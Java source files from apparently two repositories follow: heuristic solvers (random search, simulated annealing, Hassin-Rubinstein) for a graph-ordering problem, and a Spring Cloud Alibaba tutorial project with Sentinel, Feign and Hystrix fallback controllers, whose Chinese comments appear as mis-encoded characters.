System.out.println(bestMethod); System.out.println(bestSum); tot_score += bestSum; /*for (int j = 0; j < num_ver; j++) { System.out.print((bestPerm[j] + 1) + " "); }*/ System.out.println(); } System.out.println("total score for all instances: " + tot_score); for (int i = 0; i < file_to_check.length; i++) { scanners[i].close(); } } } ``` search.java ```import java.util.Scanner; import java.util.Random; import java.util.HashSet; import java.io.File; import java.io.FileNotFoundException; public class search { public static int[] shuffle(int[] a, int n, int[][] g) { int[] ans = new int[n]; Random rnd = new Random(); int l = 0, r = n-1; int[] ord = new int[n]; for (int i = 0; i < n; i++) { ord[i] = i; } for (int i = ord.length - 1; i > 0; i--) { int index = rnd.nextInt(i + 1); // Simple swap int temp = ord[index]; ord[index] = ord[i]; ord[i] = temp; } int pos = 0; while (pos < ord.length) { int x = ord[pos]; int inDegree = 0, outDegree = 0; for (int i = 0; i < n; i++) { inDegree += g[i][x]; outDegree += g[x][i]; } if (inDegree <= outDegree) { ans[l] = x; l += 1; } else { ans[r] = x; r -= 1; } pos += 1; } return ans; } public static int[] run(int n, int[][] a, int num_iter) { int[] ord = new int[n]; for (int i = 0; i < n; i++) { ord[i] = i; } int[] best_ord = null; int max = -1; for (int i = 0; i < num_iter; i++) { ord = shuffle(ord, n, a); int sum = 0; for (int x = 0; x < n; x++) { for (int y = x+1; y < n; y++) { sum += a[ord[x]][ord[y]]; } } if (sum > max) { max = sum; best_ord = ord; } } //System.out.println("Max value is: " + max); return best_ord; } public static void main(String[] args) throws FileNotFoundException { //Scanner input = new Scanner(System.in); int num_data = 621; int num_iter = 8000000; for (int i = 168; i <= num_data; i++) { File file = new File("./instances/" + i + ".in"); Scanner input = new Scanner(file); int num_ver = input.nextInt(); int[][] a = new int[num_ver][num_ver]; for (int x = 0; x < num_ver; x++) { for (int y = 0; y < num_ver; y++) { a[x][y] = input.nextInt(); } } int[] ans = run(num_ver, a, num_iter); for (int k = 0; k < num_ver; k++) { System.out.print((1 + ans[k]) + " "); } System.out.println(); input.close(); } //input.close(); } } ``` SA.java ```import java.io.File; import java.io.FileNotFoundException; import java.util.Scanner; import java.util.Random; public class SA { static int tot_edges; public static int calc_sum(int[] perm, int[][] g, int n) { /*for (int i = 0; i < n; i++) { System.out.print(perm[i] + " "); } System.out.println();*/ int sum = 0; for (int x = 0; x < n; x++) { for (int y = x+1; y < n; y++) { sum += g[perm[x]][perm[y]]; } } return sum; } public static int calc_delta(int[] perm, int[][] g, int n, int x, int y) { /*for (int i = 0; i < n; i++) { System.out.print(perm[i] + " "); } System.out.println();*/ if (x > y) { int t = x; x = y; y = t; } int ans = 0; for (int i = x + 1; i <= y - 1; i++) { ans = ans + g[perm[y]][perm[i]] - g[perm[i]][perm[y]] - g[perm[x]][perm[i]] + g[perm[i]][perm[x]]; } ans = ans + g[perm[y]][perm[x]] - g[perm[x]][perm[y]]; return ans; } public static double calc_prob(double temp, int curr_sum, int new_sum) { if (new_sum > curr_sum) return 1; double x = (new_sum - curr_sum) * 2; //temp = Math.sqrt(temp); double sig = 1 / (1 + Math.exp(-x)); //System.out.println(x); //System.out.println(sig * temp * 2); return sig * temp; } public static int[] run(int num_ver, int[][] a, int num_iter, int[] ord) { Random rnd = new Random(); System.out.println("before, Max value is: " + calc_sum(ord, a, num_ver)); int curr_sum = calc_sum(ord, a, num_ver); for (int i = num_iter; i >= 0; i--) { int x = rnd.nextInt(num_ver - 1); int y = rnd.nextInt(num_ver); while (x == y) { y = rnd.nextInt(num_ver); } int new_sum = calc_delta(ord, a, num_ver, x, y) + curr_sum; int t = ord[x]; ord[x] = ord[y]; ord[y] = t; double temp = ((double) i) / ((double) num_iter); //System.out.println("new: " + new_sum + " old: " + curr_sum); //System.out.println(x + " " + y); //System.out.println("prob: " + calc_prob(temp, curr_sum, new_sum)); if (rnd.nextDouble() < calc_prob(temp, curr_sum, new_sum)) { curr_sum = new_sum; } else { t = ord[x]; ord[x] = ord[y]; ord[y] = t; } } System.out.println("After, Max value is: " + curr_sum); return ord; } public static void main(String[] args) throws FileNotFoundException { //Scanner input = new Scanner(System.in); int num_data = 621; int num_iter = 1000000000; File initF = new File("./ffinal.out"); Scanner init = new Scanner(initF); Random rnd = new Random(); for (int i = 1; i < Integer.parseInt(args[0]); i++) { File file = new File("./instances/" + i + ".in"); Scanner input = new Scanner(file); int num_ver = input.nextInt(); int temp; for (int x = 0; x < num_ver; x++) { temp = init.nextInt() - 1; } input.close(); } for (int i = Integer.parseInt(args[0]); i <= Integer.parseInt(args[1]); i++) { File file = new File("./instances/" + i + ".in"); Scanner input = new Scanner(file); int num_ver = input.nextInt(); int[][] a = new int[num_ver + 2][num_ver + 2]; tot_edges = 0; for (int x = 0; x < num_ver; x++) { for (int y = 0; y < num_ver; y++) { a[x][y] = input.nextInt(); tot_edges += a[x][y]; } } int[] ori = new int[num_ver]; for (int x = 0; x < num_ver; x++) { ori[x] = init.nextInt() - 1; } /*for (int x = 0; x < num_ver; x++) { int ind = rnd.nextInt(num_ver); int t = ori[x]; ori[x] = ori[ind]; ori[ind] = t; }*/ int[] ans = run(num_ver, a, num_iter, ori); for (int k = 0; k < num_ver; k++) { System.out.print((1 + ans[k]) + " "); } System.out.println(); input.close(); } init.close(); //input.close(); } } ``` HassinRubinstein.java ```import java.io.File; import java.io.FileNotFoundException; import java.util.Scanner; import java.util.Random; public class HassinRubinstein { public static int[] partition(int[] arr, int n, int[][] g) { int[] ans = new int[n]; int l = 0, r = n-1, d = -1; while (l <= r) { d += 1; int x = arr[d]; int inDegree = 0, outDegree = 0; for (int i = 0; i < n; i++) { inDegree += g[i][x]; outDegree += g[x][i]; } if (inDegree <= outDegree) { ans[l] = x; l += 1; } else { ans[r] = x; r -= 1; } } return ans; } public static int calc_sum(int[] perm, int[][] g, int n) { int sum = 0; for (int x = 0; x < n; x++) { for (int y = x+1; y < n; y++) { sum += g[perm[x]][perm[y]]; } } return sum; } public static int[] shuffle(int n, int[][] g) { int[] left = new int[n], right = new int[n]; int l = 0, r = 0; Random rnd = new Random(); for (int i = 0; i < n; i++) { if (rnd.nextBoolean()) { left[l] = i; l++; } else { right[r] = i; r++; } } int[] ll = partition(left, l, g); int[] rr = partition(right, r, g); int[] ans1 = new int[n], ans2 = new int[n]; for (int i = 0; i < n; i++) { if (i < l) { ans1[i] = ll[i]; } else { ans1[i] = rr[i - l]; } if (i < r) { ans2[i] = rr[i]; } else { ans2[i] = ll[i - r]; } } if (calc_sum(ans1, g, n) > calc_sum(ans2, g, n)) { return ans1; } else { return ans2; } } public static int[] run(int n, int[][] a, int num_iter) { int[] ord = new int[n]; for (int i = 0; i < n; i++) { ord[i] = i; } int[] best_ord = null; int max = -1; for (int i = 0; i < num_iter; i++) { ord = shuffle(n, a); int sum = calc_sum(ord, a, n); if (sum > max) { max = sum; best_ord = ord; } } //System.out.println("Max value is: " + max); return best_ord; } public static void main(String[] args) throws FileNotFoundException { //Scanner input = new Scanner(System.in); int num_data = 621; int num_iter = 8000000; for (int i = 168; i <= num_data; i++) { File file = new File("./instances/" + i + ".in"); Scanner input = new Scanner(file); int num_ver = input.nextInt(); int[][] a = new int[num_ver][num_ver]; for (int x = 0; x < num_ver; x++) { for (int y = 0; y < num_ver; y++) { a[x][y] = input.nextInt(); } } int[] ans = run(num_ver, a, num_iter); for (int k = 0; k < num_ver; k++) { System.out.print((1 + ans[k]) + " "); } System.out.println(); input.close(); } //input.close(); } } ```
yyanbin/cloud2020
yyanbin/cloud2020 CustomerBlockHandler.java ```package com.springcloudalibaba.myhandler; import com.alibaba.csp.sentinel.slots.block.BlockException; import com.springcloud.common.CommonResult; public class CustomerBlockHandler { public CommonResult handleException(BlockException blockException){ return new CommonResult(444,blockException.getClass().getCanonicalName()+" ๅฎขๆˆท่‡ชๅฎšไน‰๏ผŒglobal--handleException---1"); } public CommonResult handleException2(BlockException blockException){ return new CommonResult(444,blockException.getClass().getCanonicalName()+" ๅฎขๆˆท่‡ชๅฎšไน‰๏ผŒglobal--handleException----2"); } } ``` SentinelController.java ```package com.springcloudalibaba.controller; import com.alibaba.csp.sentinel.annotation.SentinelResource; import com.alibaba.csp.sentinel.slots.block.BlockException; import com.springcloud.common.CommonResult; import com.springcloud.entity.Payment; import com.springcloudalibaba.myhandler.CustomerBlockHandler; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.*; import java.util.concurrent.TimeUnit; @RestController @RequestMapping(produces= MediaType.APPLICATION_JSON_VALUE) public class SentinelController { @GetMapping("/testA") public String testA() { try { TimeUnit.MILLISECONDS.sleep(800); } catch (InterruptedException e) { e.printStackTrace(); } return "*********testA"; } @GetMapping("/testB") public String testB(){ return "*********testB"; } @GetMapping("/testD") public String testD() { try { System.out.println("****test***RT"); TimeUnit.MILLISECONDS.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } return "*********testD"; } @GetMapping("/testHotKey") @SentinelResource(value = "testHotKey",blockHandler = "deal_testHotKey") public String testHotKey(@RequestParam(required = false,value = "p1") String p1, @RequestParam(required = false,value = "p2") String p2){ return "****testHotKey"; } public String deal_testHotKey(String p1, String p2, BlockException blockException){ return "****deal_testHotKey"; } @GetMapping(value = "/byResource",produces= MediaType.APPLICATION_JSON_VALUE) @SentinelResource(value = "byResource",blockHandler = "handleException") public CommonResult byResource(){ return new CommonResult(200,"aaa",new Payment(20L,"ๅˆ ้™ค")); } public CommonResult handleException(BlockException blockException){ return new CommonResult(444,blockException.getClass().getCanonicalName()+" ๆœๅŠกไธๅฏ็”จ"); } @RequestMapping(value = "/byUrl",method= RequestMethod.GET,produces= MediaType.APPLICATION_JSON_VALUE) @SentinelResource(value = "byUrl") public CommonResult byUrl(){ return new CommonResult(200,"byUrl",new Payment(20L,"ๆต‹่ฏ•")); } @RequestMapping(value = "/byCustomize",method= RequestMethod.GET) @SentinelResource(value = "byCustomize",blockHandlerClass = CustomerBlockHandler.class,blockHandler = "handleException") public CommonResult byCustomize(){ return new CommonResult(200,"byCustomize",new Payment(20L,"่‡ชๅฎšไน‰")); } } ``` OrderController.java ```package com.springcloudalibaba.controller; import com.alibaba.csp.sentinel.annotation.SentinelResource; import com.alibaba.csp.sentinel.slots.block.BlockException; import com.springcloud.common.CommonResult; import com.springcloud.entity.Payment; import com.springcloudalibaba.feign.PaymentService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.*; import org.springframework.web.client.RestTemplate; import javax.annotation.Resource; @RestController @RequestMapping(produces = "application/json") public class OrderController { @Value("${service-url.nacos-user-service}") private String serverURL; @Autowired private RestTemplate restTemplate; @Autowired private PaymentService paymentService; @GetMapping("order/{id}") // @SentinelResource(value = "fallback",fallback = "handelFallback") // @SentinelResource(value = "fallback", blockHandler = "blockHandler") @SentinelResource(value = "fallback", blockHandler = "blockHandler",fallback = "handelFallback", exceptionsToIgnore = IllegalArgumentException.class) public CommonResult<Payment> fallBack(@PathVariable Long id) { CommonResult<Payment> result = restTemplate.getForObject(serverURL + "/paymentSQL/" + id, CommonResult.class); if (id == 4) { throw new IllegalArgumentException("ๅ‚ๆ•ฐ้žๆณ•"); } else if (result.getData() == null) { throw new NullPointerException("ๆฒกๆœ‰ๅฏนๅบ”็š„่ฎฐๅฝ•"); } return result; } public CommonResult<Payment> handelFallback(@PathVariable Long id, Throwable throwable) { Payment payment = new Payment(id, null); return new CommonResult<>(444, "ๅ…œๅบ•ๅผ‚ๅธธ๏ผšhandelFallback:" + throwable.getMessage(), payment); } public CommonResult<Payment> blockHandler(@PathVariable Long id, BlockException blockException) { Payment payment = new Payment(id, null); return new CommonResult<>(445, "blockHandler:" + blockException.getMessage(), payment); } //============OpenFeign @GetMapping(value = "/paymentSQL/{id}") public CommonResult<Payment> paymentSQL(@PathVariable("id") Long id){ return paymentService.paymentSQL(id); } @PostMapping(value = "/paymentSQL/getId") public CommonResult<Payment> paymentSQL2(@RequestParam(required = false) String id){ return paymentService.paymentSQL2(Long.getLong(id)); } } ``` IMessageProvider.java ```package com.srpingcloud.service; public interface IMessageProvider { void sendMsg(); } ``` Payment.java ```package com.springcloud.entity; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; import lombok.extern.slf4j.Slf4j; import java.io.Serializable; /** * @author yanbin_vendor */ @Data @AllArgsConstructor @NoArgsConstructor public class Payment implements Serializable { private Long id; private String serial; } ``` ApplicationContextConfig.java ```package com.springcloud.config; import org.springframework.cloud.client.loadbalancer.LoadBalanced; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.web.client.RestTemplate; /** * @author yanbin_vendor */ @Configuration public class ApplicationContextConfig { @Bean /** * ่ดŸ่ฝฝๅ‡่กก๏ผš ้ป˜่ฎค ่ฝฎ่ฏข่ดŸ่ฝฝๆœบๅˆถ๏ผˆ็ฎ—ๆณ•๏ผšrestๆŽฅๅฃ็ฌฌๅ‡ ๆฌก่ฏทๆฑ‚ๆ•ฐ % ้›†็พคๆœๅŠกๆ•ฐ้‡ = ๅฎž้™…่ฐƒ็”จๆœๅŠก็š„ไธ‹ๆ ‡๏ผŒๆฏๆฌกๆœๅŠก้‡ๅฏrestๆŽฅๅฃ่ฎกๆ•ฐไปŽ1ๅผ€ๅง‹๏ผ‰ */ // @LoadBalanced public RestTemplate getRestTemplate(){ return new RestTemplate(); } } ``` PaymentFallbackService.java ```package com.springcloudalibaba.feign; import com.springcloud.common.CommonResult; import com.springcloud.entity.Payment; import org.springframework.stereotype.Component; @Component public class PaymentFallbackService implements PaymentService{ @Override public CommonResult<Payment> paymentSQL(Long id) { return new CommonResult<>(444, "ๆœๅŠก้™็บง่ฟ”ๅ›ž---PaymentFallbackService"); } @Override public CommonResult<Payment> paymentSQL2(Long id) { return new CommonResult<>(444, "postๆœๅŠก้™็บง่ฟ”ๅ›ž---PaymentFallbackService"); } } ``` OrderFeignController.java ```package com.springcloud.controller; import com.springcloud.common.CommonResult; import com.springcloud.entity.Payment; import com.springcloud.service.PaymentFeignService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RestController; @RestController public class OrderFeignController { @Autowired private PaymentFeignService paymentFeignService; @GetMapping(value = "/consumer/payment/get/{id}") public CommonResult<Payment> getPaymentById(@PathVariable("id") Long id){ return paymentFeignService.getPaymentById(id); } @GetMapping(value = "/consumer/payment/feign/timeout") String getPaymentFeignTimeOut(){ //openFeign-ribbion ้ป˜่ฎค1็ง’ return paymentFeignService.getPaymentFeignTimeOut(); } } ``` MessageProviderImpl.java ```package com.srpingcloud.service.impl; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.cloud.stream.annotation.EnableBinding; import org.springframework.cloud.stream.messaging.Source; import org.springframework.messaging.MessageChannel; import org.springframework.messaging.support.MessageBuilder; import com.srpingcloud.service.IMessageProvider; import java.util.UUID; /** * ่กจ็คบ่ฟ™ไธช็ฑปๆ˜ฏไธชsource,่ดŸ่ดฃ็”Ÿไบงๆถˆๆฏ๏ผŒๅนถไธ”ๅ‘้€็ป™channel */ @EnableBinding(Source.class) public class MessageProviderImpl implements IMessageProvider { @Autowired private MessageChannel output; //ๆถˆๆฏๅ‘้€้€š้“ @Override public void sendMsg() { String s = UUID.randomUUID().toString(); output.send(MessageBuilder.withPayload(s).build()); System.out.println("*******serial:" + s); } } ``` PaymentService.java ```package com.springcloudalibaba.feign; import com.springcloud.common.CommonResult; import com.springcloud.entity.Payment; import org.springframework.cloud.openfeign.FeignClient; import org.springframework.stereotype.Service; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; @Service @FeignClient(value = "nacos-payment-provider" ,fallback = PaymentFallbackService.class) public interface PaymentService { @GetMapping(value = "/paymentSQL/{id}") public CommonResult<Payment> paymentSQL(@PathVariable("id") Long id); @PostMapping(value = "/paymentSQL/getId") public CommonResult<Payment> paymentSQL2(@RequestParam("id") Long id); } ``` SendMessageController.java ```package com.srpingcloud.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import com.srpingcloud.service.impl.MessageProviderImpl; @RestController public class SendMessageController { @Autowired private MessageProviderImpl messageProvider; @GetMapping("/send") public void sendMessage(){ messageProvider.sendMsg(); } } ``` PaymentHystrixService.java ```package com.springcloud.server; import org.springframework.cloud.openfeign.FeignClient; import org.springframework.stereotype.Component; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; /** * FeignClient: fallback ๅฎƒ็š„่ฟ่กŒ้€ป่พ‘ๆ˜ฏ: * ๅฝ“่ฏทๆฑ‚่ฟ‡ๆฅ,้ฆ–ๅ…ˆ่ฟ˜ๆ˜ฏ้€š่ฟ‡Feign่ฟœ็จ‹่ฐƒ็”จpayๆจกๅ—ๅฏนๅบ”็š„ๆ–นๆณ• * ไฝ†ๆ˜ฏๅฆ‚ๆžœpayๆจกๅ—ๆŠฅ้”™,่ฐƒ็”จๅคฑ่ดฅ,้‚ฃไนˆๅฐฑไผš่ฐƒ็”จPaymentHystrixFallbackService็ฑป็š„ * ๅฝ“ๅ‰ๅŒๅ็š„ๆ–นๆณ•,ไฝœไธบ้™็บงๆ–นๆณ• */ @Component @FeignClient(value = "CLOUD-HYSTRIX-PAYMENT",fallback = PaymentHystrixFallbackService.class) public interface PaymentHystrixService { @GetMapping(value = "/payment/hystrix/ok/{id}") String paymentInfo_OK(@PathVariable("id") Integer id); @GetMapping(value = "/payment/hystrix/timeout/{id}") String paymentInfo_TimeOut(@PathVariable("id") Integer id); } ``` PaymentController.java ```package com.springcloud.controller; import com.springcloud.common.CommonResult; import com.springcloud.entity.Payment; import com.springcloud.service.PaymentService; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.*; import java.util.concurrent.TimeUnit; /** * @author yanbin_vendor */ @RestController @Slf4j public class PaymentController { @Autowired private PaymentService paymentService; @Value("${server.port}") private String serverPort; @PostMapping(value = "/payment/create") public CommonResult create(@RequestBody Payment payment) { int id = paymentService.create(payment); System.out.println("++++id:{}" + payment.getId()); if (id > 0) { return new CommonResult(200, "ๆ•ฐๆฎๆ’ๅ…ฅๆˆๅŠŸ๏ผ" + serverPort, payment.getId()); } else { return new CommonResult(444, "ๆ•ฐๆฎๆ’ๅ…ฅๅคฑ่ดฅ๏ผ" + serverPort); } } @GetMapping(value = "/payment/get/{id}") public CommonResult getPaymentById(@PathVariable("id") Long id) { Payment paymentById = paymentService.getPaymentById(id); if (paymentById != null) { return new CommonResult(200, "ๆŸฅ่ฏขๆˆๅŠŸ๏ผ" + serverPort, paymentById); } else { return new CommonResult(444, "ๆฒกๆœ‰ๆŸฅ่ฏขๅˆฐๆ•ฐๆฎ,ๆŸฅ่ฏขid:" + id + "," + serverPort); } } @GetMapping(value = "/payment/lb") public String getPaymentLb() { return serverPort; } @GetMapping(value = "/payment/feign/timeout") public String getPaymentFeignTimeOut() { try { TimeUnit.SECONDS.sleep(3); } catch (InterruptedException e) { e.printStackTrace(); } return serverPort; } } ``` PaymentController.java ```package com.springcloudalibaba.controller; import com.springcloud.common.CommonResult; import com.springcloud.entity.Payment; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import java.util.HashMap; @RestController @RequestMapping(produces = "application/json") public class PaymentController { @Value("${server.port}") private String serverPort; private static HashMap<Long, Payment> hashMap = new HashMap<>(); static { hashMap.put(1L,new Payment(1L,"112312312312312")); hashMap.put(2L,new Payment(2L,"22222222223434343")); hashMap.put(3L,new Payment(3L,"333333333312312")); } @GetMapping(value = "paymentSQL/{id}") public CommonResult<Payment> paymentSQL(@PathVariable Long id){ System.out.println("****9004"); Payment payment = hashMap.get(id); return new CommonResult<>(200,"from mysql "+serverPort,payment); } } ``` PaymentHystrixFallbackService.java ```package com.springcloud.server; import org.springframework.stereotype.Component; @Component public class PaymentHystrixFallbackService implements PaymentHystrixService{ @Override public String paymentInfo_OK(Integer id) { return "-----PaymentHystrixFallbackService fall back paymentInfo_OK"; } @Override public String paymentInfo_TimeOut(Integer id) { return "-----PaymentHystrixFallbackService fall back paymentInfo_TimeOut"; } } ```